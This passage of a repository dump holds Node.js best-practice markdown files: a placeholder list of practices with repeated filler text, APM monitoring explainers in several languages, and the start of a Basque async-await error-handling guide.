feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ![](../../assets/images/checkbox-sm.png) 2. Layer your app, keep Express within its boundaries\r\n\r\n**TL&DR:** It's very common to see Express API passes the express objects (req, res) to business logic and data layers, sometimes even to every function - this makes your application depedant on and accessible by Express only. What if your code should be reached by testing console or CRON job? instead create your own context object with cross-cutting-concern properties like the user roles and inject into other layers, or use 'thread-level variables' libraries like continuation local storage\r\n\r\n**Otherwise:** Application can be accesses by Express only and require to create complex testing mocks\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ![](../../assets/images/checkbox-sm.png) 3. Configure ESLint with node-specific plugins\r\n\r\n**TL&DR:** Monitoring is a game of finding out issues before our customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my sug\r\n\r\n**Otherwise:** You end-up with a blackbox that is hard to reason about, then you start re-writing all logging statements to add additional information\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n\r\n<br/><br/>\r\n\r\n## Additional 15 bullets will appear here\r\n\r\n<br/><br/><br/>\r\n# `Code Style Practices`\r\n\r\n## ![](../../assets/images/checkbox-sm.png) 1. Use async-await\r\n\r\n**TL&DR:** Monitoring is a game of finding out issues before our customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my sug\r\n\r\n**Otherwise:** You end-up with a blackbox that is hard to reason about, then you start re-writing all logging statements to add additional information\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ![](../../assets/images/checkbox-sm.png) 2. Break into small classes or objects\r\n\r\n**TL&DR:** Monitoring is a game of finding out issues before our customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my sug\r\n\r\n**Otherwise:** You end-up with a blackbox that is hard to reason about, then you start re-writing all logging statements to add additional information\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/><br/>\r\n# `Error Handling Practices`\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\r\n\r\n## <img src=\"../../assets/images/checkbox-sm.png\"/> Use async-await for async error handling\r\n\r\n**TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using instead a reputable promise library or async-await which provides much compact and familiar code syntax like try-catch\r\n\r\n**Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting and awkward coding patterns\r\n\r\n🔗 [**Use async-await for async error handling**](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## <img src=\"../../assets/images/checkbox-sm.png\"/> Use async-await for async error handling\r\n\r\n**TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using instead a reputable promise library or async-await which provides much compact and familiar code syntax like try-catch\r\n\r\n**Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting and awkward coding patterns\r\n\r\n🔗 [**Use async-await for async error handling**](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n\r\n<br/><br/><br/>\r\n# `Going To Production Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Deployment Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Security Practices`\r\n\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.basque.md",
    "content": "# Aurkitu erroreak eta jardunik gabeko uneak APM produktuak erabiliz\r\n\r\n### Azalpena\r\n\r\nSalbuespena != Errorea. Erroreen kudeaketa tradizionalak kodearekin erlazionatutako arazotzat hartzen ditu salbuespenak, baina aplikazioen erroreak formularioko kode bide motelen, APIen jardunik gabeko uneen eta baliabide konputazionalen gabezien ondorio izan daitezke. Horra non APM produktuak oso erabilgarriak diren, \"lurperatutako\" askotariko gaiak modu proaktiboan detektatzeko aukera ematen baitute gutxieneko konfigurazioarekin. APM produktuen ohiko funtzionalitateen artean daude, adibidez, HTTP APIak erroreak bidaltzen dituenean alerta jotzea, APIaren erantzunaren denbora aurretik zehaztutako denbora muga baino luzeagoa denean antzematea, ‘kode usainak’ hautematea, monitorizazio zerbitzariaren baliabideentzako funtzionalitateak, operazio inteligentziadun panelak (dashboard) IT metrikekin eta beste funtzionalitate batzuk oso erabilgarriak direnak. Hornitzaile gehienek dohaineko plana eskaintzen dute\r\n\r\n### Wikipedia APMri buruz\r\n\r\nInformazioaren teknologien eta sistemen kudeaketaren alorretan, Application Performance Management (APM) software aplikazioen errendimendu eta erabilgarritasunaren monitorizazio eta kudeaketa da. APM aplikazioen errendimendu arazo konplexuak atzeman eta diagnostikatzen saiatzen da, esperotako zerbitzu maila mantentzeko. APM \"IT metrikak negozioaren esanahira ([esaterako] balioa)\" itzultzea da. Produktu eta segmentu nagusiak. APM \"IT metrikak negozioaren esanahira ([esaterako] balioa)\" itzultzea da. Produktu eta segmentu nagusiak\r\n\r\n### APM merkatua ulertzen\r\n\r\nAPM produktuek 3 segmentu nagusi dituzte:\r\n\r\n1. Webgune edo APIen monitorizazioa, martxan egondako denbora eta errendimuendua HTTP eskaeren bidez etengabe monitorizatzen dituzten kanpo zerbitzuak. Minutu gutxi batzuetan ezar daiteke. Hurrengo hauek dira aukeratutako lehiakide batzuk: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/), eta [New Relic](https://newrelic.com/application-monitoring)\r\n\r\n2. Kodearen instrumentazioa, kode motelaren atzematea, salbuespenen estatistikak, errendimenduaren monitorizazioa eta holako beste funtzionalitate batzuk erabiltzeko agente bat aplikazioan txertatzea eskatzen duen produktu familia da. Hurrengo hauek dira aukeratutako lehiakide batzuk: New Relic, App Dynamics\r\n\r\n3. Adimen operatiboaren panela produktuen linea bat da,  operazio taldeari metrika eta eduki aukeratuak eskaintzen dizkiona eta aplikazioaren errendimendua zein den jakitera behartzen duena. Horrek informazio iturri anitz (aplikazioen erregistroak, DB erregistroak, zerbitzarien erregistroa, etab.) eta aurrez aurreko arbelaren diseinua batzea eskatzen du. Hurrengo hauek dira aukeratutako lehiakide batzuk: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/)\r\n\r\n### Adibidea: UpTimeRobot.Com: webguneak monitorizatzeko panela\r\n\r\n![alt text](../../assets/images/uptimerobot.jpg \"Webgune monitorizazio aurreko panela\")\r\n\r\n### Adibidea: AppDynamics.Com: hasieratik amaierarainoko monitorizazioa kode instrumentazioarekin konbinatutakoa\r\n\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"kode instrumentazioarekin konbinatutako hasieratik amaierarainoko monitorizazioa\")\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.brazilian-portuguese.md",
    "content": "# Descubra erros e downtime usando APM\r\n\r\n\r\n### Explicação em um Parágrafo\r\n\r\nExceção != Erro. O tratamento de erros tradicional pressupõe a existência de Exceção, mas os erros de aplicativo podem vir na forma de caminhos de código lento, tempo de inatividade (downtime) da API, falta de recursos computacionais e muito mais. É aqui que os produtos APM são úteis, pois permitem detectar uma ampla variedade de problemas \"enterrados\" de forma proativa e com uma configuração mínima. Entre os recursos comuns dos produtos APM estão, por exemplo, alertas quando a API HTTP retorna erros, detecta quando o tempo de resposta da API cai abaixo de um limite, detecção de 'códigos suspeitos', formas de monitorar recursos do servidor, painel de inteligência operacional com métricas de TI e muitos outros recursos úteis. A maioria dos fornecedores oferece um plano gratuito.\r\n\r\n### Wikipédia sobre APM\r\n\r\nNos campos de tecnologia da informação e gerenciamento de sistemas, o Application Performance Management (APM) é o monitoramento e gerenciamento de desempenho e disponibilidade de aplicativos de software. O APM se esforça para detectar e diagnosticar problemas complexos de desempenho do aplicativo para manter um nível esperado de serviço. APM é \"a tradução de métricas de TI em significado de negócios ([i.e.] value)\". Principais produtos e segmentos.\r\n\r\n### Entendendo o mercado de APM\r\n\r\nOs produtos APM constituem 3 segmentos principais:\r\n\r\n1. Monitoramento de sites ou APIs - serviços externos que monitoram constantemente o tempo de atividade e o desempenho por meio de solicitações HTTP. Pode ser configurado em poucos minutos. A seguir estão alguns candidatos selecionados: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/) e [New Relic](https://newrelic.com) / monitoramento de aplicativos)\r\n\r\n2. Instrumentação de código - família de produtos que exige a incorporação de um agente no aplicativo para usar recursos como detecção de código lento, estatísticas de exceção, monitoramento de desempenho e muito mais. A seguir estão alguns candidatos selecionados: New Relic, App Dynamics.\r\n\r\n3. Painel de inteligência operacional - essa linha de produtos está focada em auxiliar a equipe de operações com métricas e conteúdo de curadoria que ajuda a ficar facilmente a par do desempenho do aplicativo. Isso geralmente envolve a agregação de várias fontes de informações (logs de aplicativos, logs do BD, log de servidores, etc.) e o trabalho de design do painel inicial. A seguir estão alguns candidatos selecionados: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https: //www.zabbix. com /).\r\n\r\n\r\n\r\n ### Exemplo: UpTimeRobot.Com - Painel de monitoramento de site\r\n![alt text](../../assets/images/uptimerobot.jpg \"Painel de monitoramento de sites\")\r\n\r\n ### Example: AppDynamics.Com – monitoramento de ponta a ponta combinado com instrumentação de código\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"monitoramento de ponta a ponta combinado com instrumentação de código\")\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.chinese.md",
    "content": "# 使用 APM 产品发现错误和宕机时间\r\n\r\n\r\n### 一段解释\r\n\r\n异常 != 错误。传统的错误处理假定存在异常，但应用程序错误可能以代码路径慢，API停机，缺少计算资源等形式出现。因为APM产品允许使用最小的设置来先前一步地检测各种各样 \"深埋\" 的问题，这是运用它们方便的地方。APM产品的常见功能包括: 当HTTP API返回错误时报警, 在API响应时间低于某个阈值时能被检测, 觉察到‘code smells’，监视服务器资源，包含IT度量的操作型智能仪表板以及其他许多有用的功能。大多数供应商提供免费方案。\r\n\r\n### 关于 APM 的维基百科\r\n\r\n在信息技术和系统管理领域, 应用程序性能管理(APM)是对软件应用程序的性能和可用性的监视和管理。APM努力检测和诊断复杂的应用程序性能问题, 以维护预期的服务级别。APM是\"将IT度量标准转换为业务含义\"\r\n\r\n### 了解 APM 市场\r\n\r\nAPM 产品由3个主要部分构成:\r\n\r\n1. 网站或API监控 – 通过HTTP请求不断监视正常运行时间和性能的外部服务。可以在几分钟内安装。以下是少数选定的竞争者: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/), 和[New Relic](https://newrelic.com/application-monitoring)；\r\n\r\n2. 代码检测 – 这类产品需要在应用程序中嵌入代理, 以实现如检测运行缓慢的代码、异常统计、性能监视等功能。以下是少数选定的竞争者: New Relic, App Dynamics；\r\n\r\n3. 操作型智能仪表板 – 这些产品系列侧重于为ops团队提供度量和管理内容, 帮助他们轻松地保持应用程序性能维持在最佳状态。这通常涉及聚合多个信息源 (应用程序日志、DB日志、服务器日志等) 和前期仪表板设计工作。以下是少数选定的竞争者: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/)；\r\n\r\n\r\n ### 示例: UpTimeRobot.Com – 网站监控仪表板\r\n![alt text](../../assets/images/uptimerobot.jpg \"Website monitoring dashboard\")\r\n\r\n ### 示例: AppDynamics.Com – 与代码检测结合的端到端监视\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"end to end monitoring combined with code instrumentation\")\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.french.md",
    "content": "# Découvrez les erreurs et les indisponibilités à l'aide des produits de gestion de la performance applicative\n\n\n### Un paragraphe d'explication\n\nException != Erreur. Le traitement traditionnel des erreurs suppose l'existence d'une exception en raison d'un problème lié au code, mais les erreurs d'application peuvent se présenter sous la forme de parcours de code lents, d'indisponibilité de l'API, de manque de ressources de calcul, etc. C’est là que les produits de gestion de la performance applicative (En anglais Application Performance Management : APM) sont utiles car ils permettent de détecter de manière proactive une grande variété de problèmes « cachés » avec une configuration minimale. Parmi les caractéristiques communes des produits APM, on trouve par exemple les alertes lorsque l'API HTTP renvoie des erreurs, la détection lorsque le temps de réponse de l'API tombe en dessous d'un certain seuil, la détection des « [codes smells](https://fr.wikipedia.org/wiki/Code_smell) », les fonctionnalités de surveillance des ressources du serveur, le tableau de bord de l'intelligence opérationnelle avec des mesures informatiques et plusieurs autres fonctionnalités utiles. La plupart des fournisseurs proposent un forfait gratuit.\n\n### APM sur Wikipédia\n\nDans les domaines des technologies de l'information et de la gestion des systèmes, « Application Performance Management » (APM) est la surveillance et la gestion des performances et de la disponibilité des applications logicielles. APM s'efforce de détecter et de diagnostiquer les problèmes de performances des applications complexes pour maintenir un niveau de service souhaité. APM est « la traduction des métriques informatiques en signification métier (c'est-à-dire en valeur) ».\n\n### Comprendre le marché APM\n\nLes produits APM regroupent 3 pôles principaux :\n\n1. Surveillance de site Web ou d'API - services externes qui surveillent constamment la disponibilité et les performances via des requêtes HTTP. Peut être installé en quelques minutes. Voici quelques candidats sélectionnés : [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/) et [New Relic](https://newrelic.com/application-monitoring).\n\n2. Instrumentation de code - famille de produits qui nécessite d'incorporer un agent dans l'application pour utiliser les fonctionnalités telles que la détection de code lent, les statistiques d'exception, la surveillance des performances et bien d'autres. Voici quelques candidats sélectionnés : New Relic, App Dynamics.\n\n3. Tableau de bord de l'intelligence opérationnelle - cette gamme de produits vise à faciliter la tâche de l'équipe d'exploitation avec des mesures et un contenu organisé qui permettent de rester facilement au fait de la performance des applications. Cela implique généralement l'agrégation de plusieurs sources d'informations (journaux d'application, journaux de base de données, journaux des serveurs, etc.) et le travail de conception du tableau de bord initial. Voici quelques candidats sélectionnés : [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/).\n\n\n\n ### Exemple : UpTimeRobot.Com - Tableau de bord de surveillance de site Web\n![alt text](../../assets/images/uptimerobot.jpg \"Tableau de bord de surveillance de site Web\")\n\n ### Exemple : AppDynamics.Com - Surveillance de bout en bout combinée à une instrumentation de code\n![alt text](../../assets/images/app-dynamics-dashboard.png \"Surveillance de bout en bout combinée à une instrumentation de code\")\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.japanese.md",
    "content": "# APM 製品を利用してエラーとダウンタイムを発見する\r\n\r\n\r\n### 一段落説明\r\n\r\n例外 != エラーです。従来のエラー処理では、コードが関連する問題としての例外の存在を想定していましたが、アプリケーションエラーは処理の遅いコードの実行パス、API のダウンタイム、計算リソースの不足といった形で発生する可能性があります。そこで、最小限の設定で広範囲に渡る「埋もれた」問題をプロアクティブに検出することができるものとして、 APM 製品が役に立ちます。APM 製品の一般的な機能として、例えば HTTP の API がエラーを返した際のアラート、API の応答時間が閾値を下回った瞬間の検出、「コードの臭い」の検出、サーバーリソースをモニタリングする機能、IT メトリクスを確認できる運用管理ダッシュボード、そのほか多くの便利な機能があります。多くのベンダーは無料プランを提供しています。\r\n\r\n### Wikipedia「APM」\r\n\r\n情報技術とシステム管理の分野においては、アプリケーション・パフォーマンス・マネジメント（APM）とはソフトウェア・アプリケーションのパフォーマンスと可用性をモニタリング、管理することです。APM は期待されるサービスレベルを維持するために、複雑なアプリケーションのパフォーマンスの問題を検知し、診断することに努めます。APM とは、「IT メトリクスをビジネス上の意味（すなわち、価値）に変換すること」です。\r\n\r\n### APM のマーケットプレイスを理解する\r\n\r\nAPM 製品は 3 つの主要なセグメントを構成しています:\r\n\r\n1. ウェブサイトまたは API モニタリング ー HTTP リクエストを通して、常時アップタイムとパフォーマンスを監視する外部サービスです。数分でセットアップが完了します。以下のようなサービスがあります: [Pingdom](https://www.pingdom.com/)、[Uptime Robot](https://uptimerobot.com/)、[New Relic](https://newrelic.com/application-monitoring)\r\n\r\n2. コード計測 ー 遅いコードの検知、例外の統計的観測、パフォーマンスモニタリングといった機能を利用するために、アプリケーション内にエージェントを埋め込むことを必要とするプロダクト群です。以下のようなサービスがあります: New Relic、App Dynamics\r\n\r\n3. 運用管理ダッシュボード ー この製品群は、アプリケーションのパフォーマンスを簡単に把握するために役立つメトリクスと厳選されたコンテンツを使用して、ops チームの業務を促進することに焦点を当てています。これは通常、複数の情報ソース（アプリケーションログ、DB ログ、サーバーログなど）を集約して、ダッシュボードをデザインして構築することになります。以下のようなサービスがあります: [Datadog](https://www.datadoghq.com/)、[Splunk](https://www.splunk.com/)、[Zabbix](https://www.zabbix.com/)\r\n\r\n\r\n\r\n ### 例: UpTimeRobot.Com – ウェブサイトモニタリングダッシュボード\r\n![alt text](../../assets/images/uptimerobot.jpg \"ウェブサイトモニタリングダッシュボード\")\r\n\r\n ### 例: AppDynamics.Com – コード計測が統合されたエンドツーエンドモニタリング\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"コード計測が統合されたエンドツーエンドモニタリング\")\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.korean.md",
    "content": "# Discover errors and downtime using APM products\r\n\r\n\r\n### One Paragraph Explainer\r\n\r\nException != Error. Traditional error handling assumes the existence of Exception but application errors might come in the form of slow code paths, API downtime, lack of computational resources and more. This is where APM products come in handy as they allow to detect a wide variety of ‘burried’ issues proactively with a minimal setup. Among the common features of APM products are for example alerting when the HTTP API returns errors, detect when the API response time drops below some threshold, detection of ‘code smells’, features to monitor server resources, operational intelligence dashboard with IT metrics and many other useful features. Most vendors offer a free plan.\r\n\r\n### Wikipedia about APM\r\n\r\nIn the fields of information technology and systems management, Application Performance Management (APM) is the monitoring and management of performance and availability of software applications. APM strives to detect and diagnose complex application performance problems to maintain an expected level of service. APM is “the translation of IT metrics into business meaning ([i.e.] value)\". Major products and segments.\r\n\r\n### Understanding the APM marketplace\r\n\r\nAPM products constitute 3 major segments:\r\n\r\n1. Website or API monitoring – external services that constantly monitor uptime and performance via HTTP requests. Can be set up in few minutes. Following are few selected contenders: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/), and [New Relic](https://newrelic.com/application-monitoring)\r\n\r\n2. Code instrumentation – product family which requires embedding an agent within the application to use features like slow code detection, exception statistics, performance monitoring and many more. Following are few selected contenders: New Relic, App Dynamics\r\n\r\n3. Operational intelligence dashboard – this line of products is focused on facilitating the ops team with metrics and curated content that helps to easily stay on top of application performance. This usually involves aggregating multiple sources of information (application logs, DB logs, servers log, etc) and upfront dashboard design work. Following are few selected contenders: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/)\r\n\r\n\r\n\r\n ### Example: UpTimeRobot.Com – Website monitoring dashboard\r\n![alt text](../../assets/images/uptimerobot.jpg \"Website monitoring dashboard\")\r\n\r\n ### Example: AppDynamics.Com – end to end monitoring combined with code instrumentation\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"end to end monitoring combined with code instrumentation\")\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.md",
    "content": "# Discover errors and downtime using APM products\r\n\r\n\r\n### One Paragraph Explainer\r\n\r\nException != Error. Traditional error handling assumes the existence of exception as a code related problem but application errors might come in the form of slow code paths, API downtime, lack of computational resources and more. This is where APM products come in handy as they allow to detect a wide variety of ‘burried’ issues proactively with a minimal setup. Among the common features of APM products are for example alerting when the HTTP API returns errors, detect when the API response time drops below some threshold, detection of ‘code smells’, features to monitor server resources, operational intelligence dashboard with IT metrics and many other useful features. Most vendors offer a free plan.\r\n\r\n### Wikipedia about APM\r\n\r\nIn the fields of information technology and systems management, Application Performance Management (APM) is the monitoring and management of performance and availability of software applications. APM strives to detect and diagnose complex application performance problems to maintain an expected level of service. APM is “the translation of IT metrics into business meaning ([i.e.] value)\". Major products and segments.\r\n\r\n### Understanding the APM marketplace\r\n\r\nAPM products constitute 3 major segments:\r\n\r\n1. Website or API monitoring – external services that constantly monitor uptime and performance via HTTP requests. Can be set up in few minutes. Following are few selected contenders: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/), and [New Relic](https://newrelic.com/application-monitoring)\r\n\r\n2. Code instrumentation – product family which requires embedding an agent within the application to use features like slow code detection, exception statistics, performance monitoring and many more. Following are few selected contenders: New Relic, App Dynamics\r\n\r\n3. Operational intelligence dashboard – this line of products is focused on facilitating the ops team with metrics and curated content that helps to easily stay on top of application performance. This usually involves aggregating multiple sources of information (application logs, DB logs, servers log, etc) and upfront dashboard design work. Following are few selected contenders: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/)\r\n\r\n\r\n\r\n ### Example: UpTimeRobot.Com – Website monitoring dashboard\r\n![alt text](../../assets/images/uptimerobot.jpg \"Website monitoring dashboard\")\r\n\r\n ### Example: AppDynamics.Com – end to end monitoring combined with code instrumentation\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"end to end monitoring combined with code instrumentation\")\r\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.polish.md",
    "content": "# Odkryj błędy i przestoje przy użyciu produktów APM\n\n\n### Wyjaśnienie jednego akapitu\n\nWyjątek != Błąd. Tradycyjna obsługa błędów zakłada istnienie wyjątku jako problemu związanego z kodem, ale błędy aplikacji mogą pojawiać się w postaci wolnych ścieżek kodu, przestojów API, braku zasobów obliczeniowych i innych. W tym miejscu przydają się produkty APM, które pozwalają proaktywnie wykrywać wiele „zakopanych” problemów przy minimalnej konfiguracji. Wśród typowych funkcji produktów APM są na przykład alarmowanie, gdy HTTP API zwraca błędy, wykrywanie, gdy czas odpowiedzi API spada poniżej pewnego progu, wykrywanie „code smells”, funkcje monitorowania zasobów serwera, pulpit nawigacyjny wywiadu operacyjnego z miernikami IT i wiele innych przydatnych funkcji. Większość dostawców oferuje bezpłatny plan.\n\n### Wikipedia na temat APM\n\nW dziedzinie technologii informatycznych i zarządzania systemami zarządzanie wydajnością aplikacji (APM) to monitorowanie wydajności i dostępności aplikacji oraz zarządzanie nimi. APM stara się wykrywać i diagnozować złożone problemy z wydajnością aplikacji, aby utrzymać oczekiwany poziom usług. APM to „przełożenie wskaźników IT na znaczenie biznesowe ([tj.] wartość)”. Główne produkty i segmenty.\n\n### Zrozumienie rynku APM\n\nProdukty APM stanowią 3 główne segmenty:\n\n1. Monitorowanie witryny lub interfejsu API - usługi zewnętrzne, które stale monitorują czas działania i wydajność za pośrednictwem żądań HTTP. Można skonfigurować za kilka minut. Oto kilka wybranych pretendentów: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/), i [New Relic](https://newrelic.com/application-monitoring)\n\n2. Instrumentacja kodu - rodzina produktów, która wymaga osadzenia agenta w aplikacji w celu korzystania z funkcji takich jak powolne wykrywanie kodu, statystyki wyjątków, monitorowanie wydajności i wiele innych. Oto kilka wybranych pretendentów: New Relic, App Dynamics\n\n3. Operational intelligence dashboard - ta linia produktów koncentruje się na ułatwianiu zespołowi operacyjnemu pomiarów i dobranych treści, które pozwalają łatwo utrzymać najwyższą wydajność aplikacji. Zwykle wymaga to agregacji wielu źródeł informacji (dzienników aplikacji, dzienników BD, dzienników serwerów itp.) I wstępnych prac projektowych na dashboardzie. Oto kilka wybranych kandydatów: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/)\n\n\n\n ### Przykład: UpTimeRobot.Com – Website monitoring dashboard\n![alt text](../../assets/images/uptimerobot.jpg \"Website monitoring dashboard\")\n\n ### Przykład: AppDynamics.Com – end to end monitoring combined with code instrumentation\n![alt text](../../assets/images/app-dynamics-dashboard.png \"end to end monitoring combined with code instrumentation\")\n"
  },
  {
    "path": "sections/errorhandling/apmproducts.russian.md",
    "content": "# Обнаружение ошибок и простоев с использованием продуктов APM\r\n\r\n\r\n### Объяснение в один абзац\r\n\r\nИсключение != Ошибка. Традиционная обработка ошибок предполагает наличие исключения, но ошибки приложения могут проявляться в виде медленных путей кода, времени простоя API, нехватки вычислительных ресурсов и многого другого. Именно здесь продукты APM пригодятся, поскольку они позволяют обнаруживать широкий спектр \"скрытых\" проблем с минимальной настройкой. Среди общих функций продуктов APM, например, оповещение, когда HTTP API возвращает ошибки, обнаружение, когда время отклика API падает ниже некоторого порога, обнаружение \"запахов кода\", функции для мониторинга ресурсов сервера, панель оперативной аналитики с IT-метриками и многие другие полезные функции. Большинство поставщиков предлагают бесплатные планы использования.\r\n\r\n### Википедия о APM\r\n\r\nВ области управления информационными технологиями и системами Application Performance Management (APM) - это мониторинг и управление производительностью и доступностью программных приложений. APM стремится обнаруживать и диагностировать сложные проблемы производительности приложений, чтобы поддерживать ожидаемый уровень обслуживания. APM - это \"перевод метрик ИТ в бизнес-значение ([то есть] ценность)\". Основные продукты и сегменты.\r\n\r\n### Понимание рынка APM\r\n\r\nПродукты APM составляют 3 основных сегмента:\r\n\r\n1. Мониторинг веб-сайтов или API - внешние сервисы, которые постоянно отслеживают время безотказной работы и производительность посредством HTTP-запросов. Можно настроить за несколько минут. Ниже приведены несколько избранных претендентов: [Pingdom](https://www.pingdom.com/), [Uptime Robot](https://uptimerobot.com/), and [New Relic](https://newrelic.com/application-monitoring).\r\n\r\n2. Инструментарий кода - семейство продуктов, которое требует встраивания агента в приложение для использования таких функций, как медленное обнаружение кода, статистика исключений, мониторинг производительности и многое другое. Ниже приведены несколько выбранных претендентов: New Relic, App Dynamics.\r\n\r\n3. Панель оперативных сведений - эта линейка продуктов направлена ​​на то, чтобы упростить работу оперативной команды с помощью метрик и кураторского контента, которые помогают легко оставаться на вершине производительности приложений. Обычно это включает в себя объединение нескольких источников информации (журналы приложений, журналы БД, журналы серверов и т.д.) и предварительную работу по разработке панели мониторинга. Ниже приведены несколько избранных претендентов: [Datadog](https://www.datadoghq.com/), [Splunk](https://www.splunk.com/), [Zabbix](https://www.zabbix.com/).\r\n\r\n\r\n\r\n### Пример: UpTimeRobot.Com - панель мониторинга сайта\r\n![alt text](../../assets/images/uptimerobot.jpg \"Панель мониторинга сайта\")\r\n\r\n ### Пример: AppDynamics.Com – сквозной мониторинг в сочетании с инструментарием кода\r\n![alt text](../../assets/images/app-dynamics-dashboard.png \"Сквозной мониторинг в сочетании с инструментарием кода\")\r\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.basque.md",
    "content": "# Erabili Async-Await edo errore asinkronoak kudeatzeko promesak\r\n\r\n### Azalpena\r\n\r\nCallbackak ez dira kudea errazak programatzaile gehienek ez dituzte ondo ezagutzen eta. Callbackek etengabeko errore egiaztatzea eskatzen dute, kode korapilotsua jasanaraziz eta kodigoaren fluxuaren ulergarritasuna zailduz. BlueBird, async, eta Q bezalako promesa liburutegiek kodigo estilo estandarra RETURN eta THROW erabiliz paketatzen dute, programaren fluxua kontrolatzeko. Zehazki, kodigo nagusia funtzio bakoitzean erroreak kudeatzetik askatzea ahalbidetzen duen try-catch errore kudeaketa estilo gogokoena onartzen dute\r\n\r\n### Kode adibidea: promesen erabilera erroreak antzemateko\r\n\r\n```javascript\r\nreturn aFuntzioa()\r\n  .then(bFuntzioa)\r\n  .then(cFuntzioa)\r\n  .then(dFuntzioa)\r\n  .catch((errorea) => logger.error(errorea))\r\n  .then(betiExekutatuFuntzioHau);\r\n```\r\n\r\n### Kode adibidea: async/awaiten erabilera erroreak antzemateko\r\n\r\n```javascript\r\nasync function exekutatuAtazaAsinkronoBat() {\r\n  try {\r\n    const aBalioa = await aFuntzioa();\r\n    const bBalioa = await bFuntzioa(aBalioa);\r\n    const cBalioa = await cFuntzioa(bBalioa);\r\n    return await dFuntzioa(cBalioa);\r\n  } catch (errorea) {\r\n    logger.error(errorea);\r\n  } finally {\r\n    await betiExekutatuFuntzioHau();\r\n  }\r\n}\r\n```\r\n\r\n### Anti ereduaren kode adibidea: callbackaren estiloko errore kudeaketa\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ndatuakEskuratu(parametrorenBat, function (errorea, emaitza) {\r\n  if (errorea !== null) {\r\n    // bueltatutako callback funtzioa deitzea moduko zerbait egin eta errorea pasatu\r\n    datuGehiagoEskuratu(a, function (errorea, emaitza) {\r\n      if (errorea !== null) {\r\n        // bueltatutako callback funtzioa deitzea moduko zerbait egin eta errorea pasatu\r\n        datuGehiagoEskuratu(b, function (c) {\r\n          datuGehiagoEskuratu(d, function (e) {\r\n            if (errorea !== null) {\r\n              // ulertu duzu ideia?\r\n            }\r\n          });\r\n        });\r\n      }\r\n    });\r\n  }\r\n});\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ndatuakEskuratu(\r\n  parametrorenBat,\r\n  function (errorea: Error | null, aEmaitza: ResultA) {\r\n    if (errorea !== null) {\r\n      // bueltatutako callback funtzioa deitzea moduko zerbait egin eta errorea pasatu\r\n      datuGehiagoEskuratu(\r\n        aEmaitza,\r\n        function (errorea: Error | null, bEmaitza: ResultB) {\r\n          if (errorea !== null) {\r\n            // bueltatutako callback funtzioa deitzea moduko zerbait egin eta errorea pasatu\r\n            datuGehiagoEskuratu(bEmaitza, function (cEmaitza: ResultC) {\r\n              datuGehiagoEskuratu(\r\n                cEmaitza,\r\n                function (errorea: Error | null, d: ResultD) {\r\n                  if (errorea !== null) {\r\n                    // ulertu duzu ideia?\r\n                  }\r\n                }\r\n              );\r\n            });\r\n          }\r\n        }\r\n      );\r\n    }\r\n  